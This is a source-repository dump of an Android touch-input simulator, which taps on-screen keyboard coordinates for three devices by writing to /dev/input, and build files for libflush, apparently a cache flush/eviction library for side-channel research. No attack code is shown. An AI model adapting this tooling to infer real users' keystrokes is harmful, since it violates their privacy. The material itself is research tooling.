16 | { "i", 360, 570 }, 17 | { "j", 330, 660 }, 18 | { "k", 380, 660 }, 19 | { "l", 425, 660 }, 20 | { "m", 380, 730 }, 21 | { "n", 335, 730 }, 22 | { "o", 400, 570 }, 23 | { "p", 455, 570 }, 24 | { "q", 35, 570 }, 25 | { "r", 165, 570 }, 26 | { "s", 100, 660 }, 27 | { "t", 215, 570 }, 28 | { "u", 315, 570 }, 29 | { "v", 235, 730 }, 30 | { "w", 75, 570 }, 31 | { "x", 140, 730 }, 32 | { "y", 265, 570 }, 33 | { "z", 90, 730 }, 34 | { "space", 240, 810 }, 35 | { "enter", 445, 810 }, 36 | { "backspace", 445, 720 }, 37 | { NULL, 0 ,0 } 38 | }; 39 | #elif defined(MAKO) 40 | key_mapping_t key_mappings[] = { 41 | { "a", 75, 920 }, 42 | { "b", 481, 1025 }, 43 | { "c", 328, 1025 }, 44 | { "d", 250, 930 }, 45 | { "e", 172, 829 }, 46 | { "f", 323, 907 }, 47 | { "g", 393, 932 }, 48 | { "h", 474, 942 }, 49 | { "i", 570, 840 }, 50 | { "j", 534, 935 }, 51 | { "k", 625, 932 }, 52 | { "l", 705, 947 }, 53 | { "m", 622, 1045 }, 54 | { "n", 540, 1028 }, 55 | { "o", 668, 825 }, 56 | { "p", 736, 828 }, 57 | { "q", 49, 833 }, 58 | { "r", 307, 827 }, 59 | { "s", 159, 930 }, 60 | { "t", 373, 813 }, 61 | { "u", 502, 844 }, 62 | { "v", 391, 1017 }, 63 | { "w", 111, 835 }, 64 | { "x", 200, 1036 }, 65 | { "y", 427, 824 }, 66 | { "z", 164, 1036 }, 67 | { "space", 386, 1146 }, 68 | { "enter", 714, 1121 }, 69 | { "backspace", 733, 1014 }, 70 | { NULL, 0 ,0 } 71 | }; 72 | #elif defined(ZEROFLTE) 73 | key_mapping_t key_mappings[] = { 74 | { "a", 150, 2030 }, 75 | { "b", 860, 2236 }, 76 | { "c", 565, 2236 }, 77 | { "d", 430, 2030 }, 78 | { "e", 370, 1836 }, 79 | { "f", 575, 2030 }, 80 | { "g", 716, 2030 }, 81 | { "h", 855, 2030 }, 82 | { "i", 1077, 1836 }, 83 | { "j", 997, 2030 }, 84 | { "k", 1138, 2030 }, 85 | { "l", 1282, 2030 }, 86 | { "m", 1130, 2236 }, 87 | { "n", 1005, 2236 }, 88 | { "o", 1211, 1836 }, 89 | { "p", 1330, 1836 }, 90 | { "q", 122, 1836 }, 91 | { "r", 491, 1836 }, 92 | { "s", 298, 2030 }, 93 | { "t", 650, 1836 }, 94 | { "u", 910, 1836 }, 95 | { "v", 730, 2236 }, 96 | { "w", 213, 1836 }, 97 | { "x", 431, 2236 }, 98 | { "y", 768, 1836 }, 99 | { "z", 290, 2236 }, 100 | { "space", 700, 2420 }, 101 | { "enter", 1280, 2420 }, 102 | { "backspace", 1280, 2236 }, 103 | { NULL, 0 ,0 } 104 | }; 105 | #else 106 | key_mapping_t key_mappings[] = { 107 | { NULL, 0, 0 } 108 | }; 109 | #endif 110 | 111 | -------------------------------------------------------------------------------- /input_simulator/input-simulator/key-mapping.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef KEY_MAPPING_H 4 | #define KEY_MAPPING_H 5 | 6 | typedef struct key_mapping_s { 7 | char* input; 8 | int x; 9 | int y; 10 | } key_mapping_t; 11 | 12 | extern key_mapping_t key_mappings[]; 13 | 14 | #endif /*KEY_MAPPING_H*/ 15 | -------------------------------------------------------------------------------- /input_simulator/input-simulator/main.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #define _GNU_SOURCE 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "simulator.h" 19 | 20 | static void 21 | print_help(char* argv[]) { 22 | fprintf(stdout, "Usage: %s [OPTIONS] \n", argv[0]); 23 | fprintf(stdout, "Application Options:\n"); 24 | fprintf(stdout, "\t-r, -repititions \t Number of repititions to execute the event\n"); 25 | fprintf(stdout, "\t-d, -delay \t Delay in seconds\n"); 26 | fprintf(stdout, "\t-h, -help\t Help page\n"); 27 | } 28 | 29 | int main(int argc, char* argv[]) 30 | { 31 | /* Define parameters */ 32 | ssize_t repititions = 1; 33 | useconds_t delay = 50000; 34 | 35 | /* Parse arguments */ 36 | static const char* short_options = "r:d:h"; 37 | static struct option long_options[] = { 38 | {"repitition", required_argument, NULL, 'r'}, 39 | {"delay", required_argument, NULL, 'd'}, 40 | {"help", no_argument, NULL, 'h'}, 41 | { NULL, 0, NULL, 0} 42 | }; 43 | 44 | opterr = 0; 45 | 46 | int c; 47 | while ((c = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) { 48 | switch (c) { 49 | case 'r': 50 | { 51 | if (!sscanf(optarg,"%zd",&repititions)) { 52 | fprintf(stderr, "Could not parse repititions parameter: %s\n", optarg); 53 | return -1; 54 | } 55 | } 56 | break; 57 | case 'd': 58 | { 59 | float delay_seconds; 60 | if (!sscanf(optarg,"%f", &delay_seconds)) { 61 | fprintf(stderr, "Could not parse delay parameter: %s\n", optarg); 62 | return -1; 63 | } 64 | 65 | delay = delay_seconds * 1000 * 1000; 66 | } 67 | break; 68 | case 'h': 69 | print_help(argv); 70 | break; 71 | case ':': 72 | fprintf(stderr, "Error: option `-%c' requires an argument\n", optopt); 73 | break; 74 | case '?': 75 | default: 76 | fprintf(stderr, "Error: Invalid option '-%c'\n", optopt); 77 | return -1; 78 | } 79 | } 80 | 81 | if (optind >= argc) { 82 | fprintf(stderr, "Error: No character passed\n"); 83 | return 0; 84 | } 85 | 86 | char* input = argv[optind]; 87 | 88 | /* Init simulator */ 89 | simulator_t* simulator; 90 | if (simulator_init(&simulator) == false) { 91 | fprintf(stderr, "Could not initialize simulator\n"); 92 | return -1; 93 | } 94 | 95 | /* Find key mapping */ 96 | int x = 0; 97 | int y = 0; 98 | if (simulator_get_coordinates(simulator, input, &x, &y) == false) { 99 | fprintf(stderr, "Could not find mapping for input '%s'\n", input); 100 | } 101 | 102 | /* Simulate taps */ 103 | for (ssize_t i = 0; i < repititions || repititions < 0; i++) { 104 | simulator_send_tap(simulator, x, y); 105 | usleep(delay); 106 | } 107 | 108 | /* Terminate simulator */ 109 | if (simulator_terminate(simulator) == false) { 110 | fprintf(stderr, "Could not terminate simulator\n"); 111 | return -1; 112 | } 113 | 114 | return 0; 115 | } 116 | 117 | -------------------------------------------------------------------------------- /input_simulator/input-simulator/simulator.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include "simulator.h" 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | struct simulator_s { 16 | int fd_tap; 17 | }; 18 | 19 | static bool send_event(int fd, uint16_t type, uint16_t code, uint32_t value); 20 | 21 | bool 22 | simulator_init(simulator_t** simulator) 23 | { 24 | if (simulator == NULL) { 25 | return false; 26 | } 27 | 28 | *simulator = calloc(1, sizeof(simulator_t)); 29 | if (*simulator == NULL) { 30 | return false; 31 | } 32 | 33 | #if defined(ALTO45) 34 | (*simulator)->fd_tap = open("/dev/input/event5", O_WRONLY); 35 | #elif defined(MAKO) 36 | (*simulator)->fd_tap = open("/dev/input/event2", O_WRONLY); 37 | #else 38 | (*simulator)->fd_tap = open("/dev/input/event1", O_WRONLY); 39 | #endif 40 | if ((*simulator)->fd_tap < 0) { 41 | fprintf(stderr, "[simulator] error: Could not open event path\n"); 42 | return false; 43 | } 44 | 45 | return true; 46 | } 47 | 48 | bool 49 | simulator_terminate(simulator_t* simulator) 50 | { 51 | if (simulator == NULL) { 52 | return false; 53 | } 54 | 55 | if (simulator->fd_tap >= 0) { 56 | close(simulator->fd_tap); 57 | } 58 | 59 | free(simulator); 60 | 61 | return true; 62 | } 63 | 64 | static bool 65 | send_event(int fd, uint16_t type, uint16_t code, uint32_t value) 66 | { 67 | struct input_event event; 68 | memset(&event, 0, sizeof(event)); 69 | 70 | event.type = type; 71 | event.code = code; 72 | event.value = value; 73 | 74 | ssize_t ret = write(fd, &event, sizeof(event)); 75 | if(ret < (ssize_t) sizeof(event)) { 76 | fprintf(stderr, "Could not write\n"); 77 | return false; 78 | } 79 | 80 | return true; 81 | } 82 | 83 | bool simulator_send_char(simulator_t* simulator, const char* key) 84 | { 85 | if (simulator == NULL || key == NULL) { 86 | return false; 87 | } 88 | 89 | key_mapping_t* key_mapping = NULL; 90 | for (unsigned int i = 0; key_mappings[i].input != NULL; i++) { 91 | if (strcmp(key_mappings[i].input, key) == 0) { 92 | key_mapping = &key_mappings[i]; 93 | break; 94 | } 95 | } 96 | 97 | if (key_mapping != NULL) { 98 | simulator_send_tap(simulator, key_mapping->x, key_mapping->y); 99 | } 100 | 101 | return true; 102 | } 103 | 104 | bool 105 | simulator_get_coordinates(simulator_t* simulator, const char* input, int* x, int* y) 106 | { 107 | if (simulator == NULL || input == NULL || x == NULL || y == NULL) { 108 | return false; 109 | } 110 | 111 | for (unsigned int i = 0; key_mappings[i].input != NULL; i++) { 112 | if (strcmp(key_mappings[i].input, input) == 0) { 113 | *x = key_mappings[i].x; 114 | *y = key_mappings[i].y; 115 | return true; 116 | } 117 | } 118 | 119 | return false; 120 | } 121 | 122 | #if defined(ALTO45) 123 | bool 124 | simulator_send_tap(simulator_t* simulator, int x, int y) 125 | { 126 | int fd = simulator->fd_tap; 127 | 128 | if (send_event(fd, EV_ABS, ABS_MT_SLOT, 0) == false) { 129 | return false; 130 | } 131 | 132 | if (send_event(fd, EV_ABS, ABS_MT_TRACKING_ID, 49) == false) { 133 | return false; 134 | } 135 | if (send_event(fd, EV_ABS, ABS_MT_POSITION_X, x) == false) { 136 | return false; 137 | } 138 | 139 | if (send_event(fd, EV_ABS, ABS_MT_POSITION_Y, y) == false) { 140 | return false; 141 | } 142 | 143 | if (send_event(fd, EV_KEY, BTN_TOUCH, 1) == false) { 144 | return false; 145 | } 146 | 147 | if (send_event(fd, EV_SYN, SYN_REPORT, 0) == false) { 148 | return false; 149 | } 150 | 151 | if (send_event(fd, EV_ABS, ABS_MT_TRACKING_ID, -1) == false) { 152 | return false; 153 | } 154 | 155 | if (send_event(fd, EV_KEY, BTN_TOUCH, 0) == false) { 156 | return false; 157 | } 158 | 159 | if (send_event(fd, EV_SYN, SYN_REPORT, 0) == false) { 160 | return false; 161 | } 162 | 163 | sched_yield(); 164 | 165 | return true; 166 | } 167 | #elif defined(MAKO) 168 | bool 169 | simulator_send_tap(simulator_t* simulator, int x, int y) 170 | { 171 | y *= 2; 172 | x *= 2; 173 | 174 | int fd = simulator->fd_tap; 175 | 176 | if (send_event(fd, EV_ABS, ABS_MT_TRACKING_ID, 49) == false) { 177 | return false; 178 | } 179 | if (send_event(fd, EV_ABS, ABS_MT_POSITION_X, x) == false) { 180 | return false; 181 | } 182 | 183 | if (send_event(fd, EV_ABS, ABS_MT_POSITION_Y, y) == false) { 184 | return false; 185 | } 186 | 187 | if (send_event(fd, EV_KEY, ABS_MT_PRESSURE, 31) == false) { 188 | return false; 189 | } 190 | 191 | if (send_event(fd, EV_SYN, SYN_REPORT, 0) == false) { 192 | return false; 193 | } 194 | 195 | if (send_event(fd, EV_ABS, ABS_MT_TRACKING_ID, -1) == false) { 196 | return false; 197 | } 198 | 199 | if (send_event(fd, EV_SYN, SYN_REPORT, 0) == false) { 200 | return false; 201 | } 202 | 203 | sched_yield(); 204 | 205 | return true; 206 | } 207 | #elif defined(ZEROFLTE) 208 | bool 209 | simulator_send_tap(simulator_t* simulator, int x, int y) 210 | { 211 | y *= 1.6; 212 | x *= 2.8; 213 | 214 | int fd = simulator->fd_tap; 215 | 216 | if (send_event(fd, EV_ABS, ABS_MT_TRACKING_ID, 49) == false) { 217 | return false; 218 | } 219 | 220 | if (send_event(fd, EV_KEY, BTN_TOUCH, 1) == false) { 221 | return false; 222 | } 223 | 224 | if (send_event(fd, EV_KEY, 0x14a, 1) == false) { // FINGER 225 | return false; 226 | } 227 | 228 | if (send_event(fd, EV_ABS, ABS_MT_POSITION_X, x) == false) { 229 | return false; 230 | } 231 | 232 | if (send_event(fd, EV_ABS, ABS_MT_POSITION_Y, y) == false) { 233 | return false; 234 | } 235 | 236 | if (send_event(fd, EV_KEY, ABS_MT_TOUCH_MAJOR, 4) == false) { 237 | return false; 238 | } 239 | 240 | if (send_event(fd, EV_KEY, ABS_MT_TOUCH_MINOR, 4) == false) { 241 | return false; 242 | } 243 | 244 | if (send_event(fd, EV_SYN, SYN_REPORT, 0) == false) { 245 | return false; 246 | } 247 | 248 | if (send_event(fd, EV_ABS, ABS_MT_TRACKING_ID, 255) == false) { 249 | return false; 250 | } 251 | 252 | if (send_event(fd, EV_KEY, BTN_TOUCH, 0) == false) { 253 | return false; 254 | } 255 | 256 | if (send_event(fd, EV_KEY, 0x14a, 0) == false) { // FINGER 257 | return false; 258 | } 259 | 260 | if (send_event(fd, EV_SYN, SYN_REPORT, 0) == false) { 261 | return false; 262 | } 263 | 264 | sched_yield(); 265 | 266 | return true; 267 | } 268 | #endif 269 | -------------------------------------------------------------------------------- /input_simulator/input-simulator/simulator.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef SIMULATOR_H 4 | #define SIMULATOR_H 5 | 6 | #include 7 | #include 8 | 9 | #include "key-mapping.h" 10 | 11 | typedef struct simulator_s simulator_t; 12 | 13 | bool simulator_init(simulator_t** simulator); 14 | bool simulator_terminate(simulator_t* simulator); 15 | 16 | bool simulator_send_tap(simulator_t* simulator, int x, int y); 17 | 18 | bool simulator_send_char(simulator_t* simulator, const char* key); 19 | 20 | bool simulator_get_coordinates(simulator_t* simulator, const char* input, int* x, int* y); 21 | 22 | #endif /*SIMULATOR_H*/ 23 | -------------------------------------------------------------------------------- /libflush/.gitignore: -------------------------------------------------------------------------------- 1 | # build files 2 | *.o 3 | *.do 4 | *.gcda 5 | *.gcno 6 | *.info 7 | *.pc 8 | *.sw[a-z] 9 | *.diff 10 | 11 | # build dirs 12 | .depend 13 | gcov/ 14 | doc/_build 15 | 16 | # binaries 17 | *.a 18 | *.so* 19 | 20 | # version file 21 | libflush/version.h 22 | 23 | # development files 24 | .clang_complete 25 | .lvimrc 26 | .ropeproject 27 | .frama-c 28 | compile_commands.json 29 | *.log 30 | 31 | # android files 32 | obj/ 33 | libs/ 34 | -------------------------------------------------------------------------------- /libflush/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | include config.mk 6 | 7 | LOCAL_MODULE := libflush_shared 8 | LOCAL_MODULE_FILENAME := libflush 9 | 10 | LOCAL_CFLAGS += ${CFLAGS} 11 | 12 | LOCAL_SRC_FILES := $(wildcard libflush/*.c) 13 | LOCAL_SRC_FILES += $(wildcard libflush/eviction/*.c) 14 | 15 | ifeq ($(TARGET_ARCH_ABI),armeabi-v7a) 16 | LOCAL_SRC_FILES += $(wildcard libflush/armv7/*.c) 17 | USE_EVICTION = 1 18 | endif 19 | ifeq ($(TARGET_ARCH_ABI),arm64-v8a) 20 | LOCAL_SRC_FILES += $(wildcard libflush/armv8/*.c) 21 | LOCAL_CFLAGS += -D__ARM_ARCH_8A__ 22 | endif 23 | 24 | ifeq (,$(findstring ${TIME_SOURCE},${TIME_SOURCES})) 25 | $(error ${TIME_SOURCE} is an invalid time source. $(TIME_SOURCES)) 26 | else 27 | TIME_SOURCE_UC = $(shell echo $(TIME_SOURCE) | tr a-z A-Z) 28 | LOCAL_CFLAGS += -DTIME_SOURCE=TIME_SOURCE_${TIME_SOURCE_UC} 29 | endif 30 | 31 | ifneq (${DEVICE_CONFIGURATION},0) 32 | ifneq ("$(wildcard ${DEVICE_CONFIGURATION})","") 33 | LOCAL_CFLAGS += -DDEVICE_CONFIGURATION=${DEVICE_CONFIGURATION} 34 | else 35 | LOCAL_CFLAGS += -DDEVICE_CONFIGURATION="strategies/${DEVICE_CONFIGURATION}.h" 36 | endif 37 | endif 38 | 39 | ifneq (${USE_EVICTION},0) 40 | LOCAL_CFLAGS += -DUSE_EVICTION=${USE_EVICTION} 41 | endif 42 | 43 | ifneq (${HAVE_PAGEMAP_ACCESS},0) 44 | LOCAL_CFLAGS += -DHAVE_PAGEMAP_ACCESS=${HAVE_PAGEMAP_ACCESS} 45 | endif 46 | 47 | ifneq (${ANDROID_PLATFORM},0) 48 | LOCAL_CFLAGS += -DANDROID_PLATFORM=$(subst android-,,${ANDROID_PLATFORM}) 49 | endif 50 | 51 | ifneq (${WITH_PTHREAD},0) 52 | LOCAL_CFLAGS += -DPTHREAD_ENABLE 53 | endif 54 | 55 | # include $(BUILD_SHARED_LIBRARY) 56 | include $(BUILD_STATIC_LIBRARY) 57 | -------------------------------------------------------------------------------- /libflush/Application.mk: -------------------------------------------------------------------------------- 1 | # Use alternate build script 2 | APP_BUILD_SCRIPT := Android.mk 3 | 4 | # This variable contains the name of the target Android platform. 5 | APP_PLATFORM := android-21 6 | 7 | # By default, the NDK build system generates machine code for the armeabi ABI. 8 | # This machine code corresponds to an ARMv5TE-based CPU with software floating 9 | # point operations. You can use APP_ABI to select a different ABI. 10 | # 11 | # See https://developer.android.com/ndk/guides/application_mk.html 12 | APP_ABI := x86_64 armeabi-v7a arm64-v8a 13 | -------------------------------------------------------------------------------- /libflush/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015-2016 Moritz Lipp 2 | 3 | This software is provided 'as-is', without any express or implied 4 | warranty. In no event will the authors be held liable for any damages 5 | arising from the use of this software. 6 | 7 | Permission is granted to anyone to use this software for any purpose, 8 | including commercial applications, and to alter it and redistribute it 9 | freely, subject to the following restrictions: 10 | 11 | 1. The origin of this software must not be misrepresented; you must not 12 | claim that you wrote the original software. If you use this software 13 | in a product, an acknowledgment in the product documentation would be 14 | appreciated but is not required. 15 | 16 | 2. Altered source versions must be plainly marked as such, and must not be 17 | misrepresented as being the original software. 18 | 19 | 3. This notice may not be removed or altered from any source 20 | distribution. 21 | -------------------------------------------------------------------------------- /libflush/Makefile: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | include config.mk 4 | include colors.mk 5 | include common.mk 6 | 7 | SOURCE = $(wildcard ${PROJECT}/*.c ${PROJECT}/eviction/*.c) 8 | 9 | ifeq "${ARCH}" "x86" 10 | SOURCE += $(wildcard ${PROJECT}/x86/*.c) 11 | LDFLAGS += -pthread 12 | endif 13 | 14 | ifeq "${ARCH}" "armv7" 15 | SOURCE += $(wildcard ${PROJECT}/armv7/*.c) 16 | USE_EVICTION = 1 17 | include config-arm.mk 18 | endif 19 | 20 | ifeq "${ARCH}" "armv8" 21 | SOURCE += $(wildcard ${PROJECT}/armv8/*.c) 22 | CPPFLAGS += -D__ARM_ARCH_8A__ 23 | include config-arm64.mk 24 | endif 25 | 26 | OBJECTS = $(addprefix ${BUILDDIR_RELEASE}/,${SOURCE:.c=.o}) 27 | OBJECTS_DEBUG = $(addprefix ${BUILDDIR_DEBUG}/,${SOURCE:.c=.o}) 28 | OBJECTS_GCOV = $(addprefix ${BUILDDIR_GCOV}/,${SOURCE:.c=.o}) 29 | HEADERS = $(filter-out ${PROJECT}/version.h, \ 30 | $(wildcard \ 31 | ${PROJECT}/*.h \ 32 | )) 33 | HEADERS_INSTALL = ${HEADERS} ${PROJECT}/version.h 34 | 35 | ifeq (,$(findstring ${TIME_SOURCE},${TIME_SOURCES})) 36 | $(error ${TIME_SOURCE} is an invalid time source. $(TIME_SOURCES)) 37 | else 38 | TIME_SOURCE_UC = $(shell echo $(TIME_SOURCE) | tr a-z A-Z) 39 | CPPFLAGS += -DTIME_SOURCE=TIME_SOURCE_${TIME_SOURCE_UC} 40 | endif 41 | 42 | ifneq (${DEVICE_CONFIGURATION},0) 43 | ifneq ("$(wildcard ${DEVICE_CONFIGURATION})","") 44 | CPPFLAGS += -DDEVICE_CONFIGURATION=${DEVICE_CONFIGURATION} 45 | else 46 | CPPFLAGS += -DDEVICE_CONFIGURATION="strategies/${DEVICE_CONFIGURATION}.h" 47 | endif 48 | endif 49 | 50 | ifneq (${USE_EVICTION},0) 51 | CPPFLAGS += -DUSE_EVICTION=${USE_EVICTION} 52 | endif 53 | 54 | ifneq (${HAVE_PAGEMAP_ACCESS},0) 55 | CPPFLAGS += -DHAVE_PAGEMAP_ACCESS=${HAVE_PAGEMAP_ACCESS} 56 | endif 57 | 58 | ifneq (${ANDROID_PLATFORM},0) 59 | CPPFLAGS += -DANDROID_PLATFORM=$(subst android-,,${ANDROID_PLATFORM}) 60 | endif 61 | 62 | ifneq (${WITH_PTHREAD},0) 63 | CPPFLAGS += -DPTHREAD_ENABLE 64 | LIBS += -pthread 65 | endif 66 | 67 | ifneq (${WITH_LIBFIU},0) 68 | INCS += ${FIU_INC} 69 | LIBS += ${FIU_LIB} 70 | CPPFLAGS += -DFIU_ENABLE 71 | endif 72 | 73 | all: options ${PROJECT} 74 | 75 | options: 76 | $(ECHO) ${PROJECT} build options: 77 | $(ECHO) "CFLAGS = ${CFLAGS}" 78 | $(ECHO) "CPPFLAGS = ${CPPFLAGS}" 79 | $(ECHO) "LDFLAGS = ${LDFLAGS}" 80 | $(ECHO) "DFLAGS = ${DFLAGS}" 81 | $(ECHO) "CC = ${CC}" 82 | 83 | ${PROJECT}/version.h: ${PROJECT}/version.h.in config.mk 84 | $(QUIET)sed 's/ZVMAJOR/${LIBFLUSH_VERSION_MAJOR}/' < ${PROJECT}/version.h.in | \ 85 | sed 's/ZVMINOR/${LIBFLUSH_VERSION_MINOR}/' | \ 86 | sed 's/ZVREV/${LIBFLUSH_VERSION_REV}/' | \ 87 | sed 's/ZVAPI/${LIBFLUSH_VERSION_API}/' | \ 88 | sed 's/ZVABI/${LIBFLUSH_VERSION_ABI}/' > ${PROJECT}/version.h 89 | 90 | # release build 91 | 92 | ${OBJECTS}: config.mk ${PROJECT}/version.h 93 | 94 | ${BUILDDIR_RELEASE}/%.o: %.c 95 | $(call colorecho,CC,$<) 96 | @mkdir -p ${DEPENDDIR}/$(dir $@) 97 | @mkdir -p $(dir $(abspath $@)) 98 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} -o $@ $< -MMD -MF ${DEPENDDIR}/$@.dep 99 | 100 | ${PROJECT}: ${PROJECT}/version.h static shared 101 | 102 | static: ${BUILDDIR_RELEASE}/${PROJECT}.a 103 | shared: ${BUILDDIR_RELEASE}/${PROJECT}.so.${SOVERSION} 104 | 105 | ${BUILDDIR_RELEASE}/${PROJECT}.a: ${OBJECTS} 106 | $(call colorecho,AR,$@) 107 | $(QUIET)${AR} rcs ${BUILDDIR_RELEASE}/${PROJECT}.a ${OBJECTS} 108 | 109 | ${BUILDDIR_RELEASE}/${PROJECT}.so.${SOVERSION}: ${OBJECTS} 110 | $(call colorecho,LD,$@) 111 | $(QUIET)${CC} -Wl,-soname,${PROJECT}.so.${SOMAJOR} -shared ${LDFLAGS} \ 112 | -o ${BUILDDIR_RELEASE}/${PROJECT}.so.${SOVERSION} ${OBJECTS} ${LIBS} 113 | 114 | release: options ${PROJECT} 115 | 116 | # debug build 117 | 118 | ${OBJECTS_DEBUG}: config.mk ${PROJECT}/version.h 119 | 120 | ${BUILDDIR_DEBUG}/%.o: %.c 121 | $(call colorecho,CC,$<) 122 | @mkdir -p ${DEPENDDIR}/$(dir $@) 123 | @mkdir -p $(dir $(abspath $@)) 124 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} ${DFLAGS} \ 125 | -o $@ $< -MMD -MF ${DEPENDDIR}/$@.dep 126 | 127 | ${PROJECT}-debug: ${PROJECT}/version.h static-debug shared-debug 128 | 129 | static-debug: ${BUILDDIR_DEBUG}/${PROJECT}.a 130 | shared-debug: ${BUILDDIR_DEBUG}/${PROJECT}.so.${SOVERSION} 131 | 132 | ${BUILDDIR_DEBUG}/${PROJECT}.a: ${OBJECTS_DEBUG} 133 | $(call colorecho,AR,${PROJECT}.a) 134 | $(QUIET)${AR} rc ${BUILDDIR_DEBUG}/${PROJECT}.a ${OBJECTS_DEBUG} 135 | 136 | ${BUILDDIR_DEBUG}/${PROJECT}.so.${SOVERSION}: ${OBJECTS_DEBUG} 137 | $(call colorecho,LD,${PROJECT}.so.${SOMAJOR}) 138 | $(QUIET)${CC} -Wl,-soname,${PROJECT}.so.${SOMAJOR} -shared ${LDFLAGS} \ 139 | -o ${BUILDDIR_DEBUG}/${PROJECT}.so.${SOVERSION} ${OBJECTS_DEBUG} ${LIBS} 140 | 141 | debug: options ${PROJECT}-debug 142 | 143 | # gcov build 144 | 145 | ${OBJECTS_GCOV}: config.mk ${PROJECT}/version.h 146 | 147 | ${BUILDDIR_GCOV}/%.o: %.c 148 | $(call colorecho,CC,$<) 149 | @mkdir -p ${DEPENDDIR}/$(dir $@) 150 | @mkdir -p $(dir $(abspath $@)) 151 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} ${GCOV_CFLAGS} ${DFLAGS} \ 152 | -o $@ $< -MMD -MF ${DEPENDDIR}/$@.dep 153 | 154 | ${PROJECT}-gcov: ${PROJECT}/version.h static-gcov shared-gcov 155 | 156 | static-gcov: ${BUILDDIR_GCOV}/${PROJECT}.a 157 | shared-gcov: ${BUILDDIR_GCOV}/${PROJECT}.so.${SOVERSION} 158 | 159 | ${BUILDDIR_GCOV}/${PROJECT}.a: ${OBJECTS_GCOV} 160 | $(call colorecho,AR,${PROJECT}.a) 161 | $(QUIET)${AR} rc ${BUILDDIR_GCOV}/${PROJECT}.a ${OBJECTS_GCOV} 162 | 163 | ${BUILDDIR_GCOV}/${PROJECT}.so.${SOVERSION}: ${OBJECTS_GCOV} 164 | $(call colorecho,LD,${PROJECT}.so.${SOMAJOR}) 165 | $(QUIET)${CC} -Wl,-soname,${PROJECT}.so.${SOMAJOR} -shared ${LDFLAGS} ${GCOV_LDFLAGS} \ 166 | -o ${BUILDDIR_GCOV}/${PROJECT}.so.${SOVERSION} ${OBJECTS_GCOV} ${LIBS} 167 | 168 | gcov: options ${PROJECT}-gcov 169 | $(QUIET)${MAKE} -C tests run-gcov 170 | $(call colorecho,LCOV,"Analyse data") 171 | $(QUIET)${LCOV_EXEC} ${LCOV_FLAGS} 172 | $(call colorecho,LCOV,"Generate report") 173 | $(QUIET)${GENHTML_EXEC} ${GENHTML_FLAGS} 174 | 175 | clean: 176 | $(call colorecho,RM, "Clean objects and builds") 177 | $(QUIET)rm -rf ${BUILDDIR} 178 | 179 | $(call colorecho,RM, "Clean android specific objects and builds") 180 | $(QUIET)rm -rf obj libs 181 | 182 | $(call colorecho,RM, "Clean pkg-config files") 183 | $(QUIET)rm -rf ${PROJECT}.pc 184 | 185 | $(call colorecho,RM, "Clean dependencies") 186 | $(QUIET)rm -rf ${DEPENDDIR} 187 | 188 | $(call colorecho,RM, "Clean distribution files") 189 | $(QUIET)rm -rf ${PROJECT}-${VERSION}.tar.gz 190 | $(QUIET)rm -rf ${PROJECT}.info 191 | $(QUIET)rm -rf ${PROJECT}/version.h 192 | 193 | $(call colorecho,RM, "Clean code analysis") 194 | $(QUIET)rm -rf ${LCOV_OUTPUT} 195 | $(QUIET)rm -rf gcov 196 | 197 | $(QUIET)${MAKE} -C tests clean 198 | $(QUIET)${MAKE} -C doc clean 199 | 200 | doc: 201 | $(QUIET)${MAKE} -C doc 202 | 203 | test: ${PROJECT} 204 | $(QUIET)${MAKE} -C tests run 205 | 206 | example: ${PROJECT} 207 | $(QUIET)${MAKE} -C example 208 | 209 | ${PROJECT}.pc: ${PROJECT}.pc.in config.mk 210 | $(QUIET)echo project=${PROJECT} > ${PROJECT}.pc 211 | $(QUIET)echo version=${VERSION} >> ${PROJECT}.pc 212 | $(QUIET)echo apiversion=${LIBFLUSH_VERSION_API} >> ${PROJECT}.pc 213 | $(QUIET)echo abiversion=${LIBFLUSH_VERSION_ABI} >> ${PROJECT}.pc 214 | $(QUIET)echo includedir=${INCLUDEDIR} >> ${PROJECT}.pc 215 | $(QUIET)echo libdir=${LIBDIR} >> ${PROJECT}.pc 216 | $(QUIET)cat ${PROJECT}.pc.in >> ${PROJECT}.pc 217 | 218 | install-static: static 219 | $(call colorecho,INSTALL,"Install static library") 220 | $(QUIET)mkdir -m 755 -p ${DESTDIR}${LIBDIR} 221 | $(QUIET)install -m 644 ${BUILDDIR_RELEASE}/${PROJECT}.a ${DESTDIR}${LIBDIR} 222 | 223 | install-shared: shared 224 | $(call colorecho,INSTALL,"Install shared library") 225 | $(QUIET)mkdir -m 755 -p ${DESTDIR}${LIBDIR} 226 | $(QUIET)install -m 644 ${BUILDDIR_RELEASE}/${PROJECT}.so.${SOVERSION} ${DESTDIR}${LIBDIR} 227 | $(QUIET)ln -s ${PROJECT}.so.${SOVERSION} ${DESTDIR}${LIBDIR}/${PROJECT}.so.${SOMAJOR} || \ 228 | echo "Failed to create ${PROJECT}.so.${SOMAJOR}. Please check if it exists and points to the correct version of ${PROJECT}.so." 229 | $(QUIET)ln -s ${PROJECT}.so.${SOVERSION} ${DESTDIR}${LIBDIR}/${PROJECT}.so || \ 230 | echo "Failed to create ${PROJECT}.so. Please check if it exists and points to the correct version of ${PROJECT}.so." 231 | 232 | install: options install-static install-shared install-headers 233 | 234 | install-headers: ${PROJECT}/version.h ${PROJECT}.pc 235 | $(call colorecho,INSTALL,"Install pkg-config file") 236 | $(QUIET)mkdir -m 755 -p ${DESTDIR}${LIBDIR}/pkgconfig 237 | $(QUIET)install -m 644 ${PROJECT}.pc ${DESTDIR}${LIBDIR}/pkgconfig 